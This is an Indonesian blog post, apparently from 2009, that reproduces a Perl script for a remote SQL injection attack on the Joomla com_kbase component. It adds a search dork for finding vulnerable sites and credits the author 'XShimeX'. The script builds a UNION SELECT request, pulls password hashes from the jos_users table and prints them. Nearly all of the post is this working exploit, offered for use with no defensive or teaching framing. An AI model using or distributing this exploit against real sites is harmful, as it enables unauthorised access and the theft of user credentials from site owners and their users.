Sabtu, 07 Februari 2009

SQL Injection Script

#Joomla Remote SQL Injection ScriptBy XShimeX
#Dork: inurl:index.php?option=com_kbase
#Contact: slientro[AT]yahoo.com.my (Replace [AT] with @)

use IO::Socket::INET;
use LWP::UserAgent;
print "[*] Joomla Remote SQL Injection Script By XShimeX\n";
print "[*] Dork: inurl:index.php?option=com_kbase\n";
print "[*] Example: http://target.com/joomla\n";
print "[*] Enter The Target: ";
chomp (my $target=);

$t = LWP::UserAgent->new() or die "Browser Failed\n";
$t->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

if (!$target){
print "[*] Please enter the target ;p\n";
system('exit');
}else {
$password = "password";
$table = "jos_users";

print "[*] Start attack for ".$target." !\n";
$inject = $target ."/index.php?option=com_kbase&view=article&id=-1+union+select+1,concat(".$password."),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+".$table."--";
$request = $t->request(HTTP::Request->new(GET=>$inject));
$answer = $request->content;

if ($answer =~/([0-9a-fA-F]{32})/){
print "[*] Password Hash : $1\n";
print "[*] Attack success ;p";
}else{
print "[*] Attack Failed\n";
}
}

Tidak ada komentar:

Posting Komentar